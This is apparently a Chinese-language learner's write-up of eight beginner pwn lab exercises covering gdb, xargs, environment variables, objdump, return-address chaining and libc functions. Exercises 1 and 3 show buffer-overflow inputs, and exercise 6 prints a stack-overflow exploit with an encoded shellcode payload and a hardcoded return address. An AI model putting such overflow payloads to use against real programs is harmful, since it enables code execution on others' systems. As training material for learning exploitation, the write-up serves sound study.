8道Pwn基础练习所得

刚开始做pwn的题目,从基础开始咯,所以在合天上先总结一些学到的指令。(基础gdb就不多说了)
{!:在数据填充的时候不可以用换行符号进行填充}

一、Pwn基础练习1

查询pwn程序的c语言源代码

cat pwn.c

直接将64个A和一个B通过管道输入到程序中

python -c “print ‘A’*64+’B’” | ./pwn

二、Pwn基础练习2

Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。
将AAA BBB CCC传给指定的test指令然后进行输出。
(用户函数中没有获取函数值语句的程序当中)

python -c “print ‘AAA BBB CCC’” | xargs ./test

以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节)

x /4xb $esp+0x5C

三、Pwn基础练习3

Python基础知识

Python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程的环境变量参数信息;os.putenv可以修改进程的环境变量参数信息。

运行脚本就可以把这题pwn成功

import os

defpwn():
os.putenv(“HEETIAN”,”A”*64+”\x0a\x0d\x0a\x0d”)
os.system(“./pwn3”)
if name ==”main“:
pwn()

在shell输入下面指令为子进程添加一个新的环境变量(除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。)

export testenv=”Hello_World”

Linux Shell中,可以使用$()或者两个反引号()来包裹一条shell命令,并返回shell命令的执行结果。 比如执行export testenv2=python -c “print ‘A’*20”`命令后,再执行./env可以看到有一个名为testenv2的环境变量,其值为20个A。

export testenv2=python -c "print 'A'*20"

四、Pwn基础练习4

一、objdump使用

使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。

使用下面这条指令可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作

objdump -d pwn4

五、Pwn基础练习5

1、C语言函数调用约定通过压栈实现参数传递,且参数压栈顺序为从右往左
2、查询esp寄存器中的值

i r $esp

六、Pwn基础练习6

二、Shellcode
Shellcode指缓冲区溢出攻击中植入进程的恶意代码,这段代码可以弹出一个消息框,也可以在目标机器上打开一个监听端口,甚至是删除目标机器上的重要文件等。
Shellcode通常需要使用汇编语言进行开发,并转换成二进制机器码,其内容和长度经常还会受到很多实际条件的限制,因此开发Shellcode通常都是非常困难的。在实际场景中,我们通常使用Metasploit这个工具来定制各种功能的Shellcode,当然也可以去网上查找一些现有的Shellcode进行测试,通常在shell-storm以及exploit-db等网站上都能找到一些比较成熟和稳定的shellcode,网址为:

http://shell-storm.org/shellcode/

http://www.exploit-db.com/shellcode/

具有复杂功能的Shellcode无法作用于不同类型的操作系统(如Windows、Linux)
将pwn6.py 脚本写到test文件里面 然后把test文本拖到pwn6程序里面运行。

python pwn6.py test
./pwn6 < test

shellcod的python脚本

shellcode = (“\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe” +
“\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff” +
“\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69” +
“\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81”)

print ‘A’*76 + ‘\xd0\xd6\xff\xff’ + shellcode

七、Pwn基础练习7

一、__builtin_return_address函数

builtin_return_address函数接收一个参数,可以是0,1,2等。builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址.

二、理解多层跳转

retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。

如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。

三、函数作用

fflush()用于清空文件缓冲区,如果文件是以写的方式打开 的,则把缓冲区内容写入文件。其原型为:

int fflush(FILE* stream);

【参数】stream为文件指针。

【返回值】成功返回0,失败返回EOF,错误代码存于errno 中。指定的流没有缓冲区或者只读打开时也返回0值。

fflush()也可用于标准输入(stdin)和标准输出(stdout),用来清空标准输入输出缓冲区。

stdin 是 standard input 的缩写,即标准输入,一般是指键盘;标准输入缓冲区即是用来暂存从键盘输入的内容的缓冲区。

stdout 是 standard output 的缩写,即标准输出,一般是指显示器;标准输出缓冲区即是用来暂存将要显示的内容的缓冲区。

八、Pwn基础练习8

二、strdup函数

strdup可以用于复制一个字符串,我们通常使用字符串时会使用strcpy,这要求已经定义好了一个接收缓冲区。而strdup只接受一个参数,也就是要复制的字符串的地址,strdup()会先用maolloc()配置与参数字符串相同大小的的空间,然后将参数字符串的内容复制到该内存地址,然后把该地址返回。strdup返回的地址最后可以利用free()来释放。

三、grep命令

当输出信息非常多的时候,我们很难快速找到我们感兴趣的信息。使用grep命令可以对匹配特定正则表达式的文本进行搜索,并只输出匹配的行或文本。
我们可以使用管道将一个程序的输出当做grep的输入数据,grep会根据给定的正则表达式参数对输入数据进行过滤。
对于grep的参数需要注意这样一个问题:当参数中存在空格时需要用双引号将参数包裹起来,此外,是正则表达式里面的通配符,如果要查找,需要使用反斜杠进行转移,即*。

Contents
  1. 1. 一、Pwn基础练习1
  2. 2. 二、Pwn基础练习2
  3. 3. 三、Pwn基础练习3
  4. 4. 四、Pwn基础练习4
  5. 5. 五、Pwn基础练习5
  6. 6. 六、Pwn基础练习6
  7. 7. 七、Pwn基础练习7
  8. 8. 八、Pwn基础练习8
|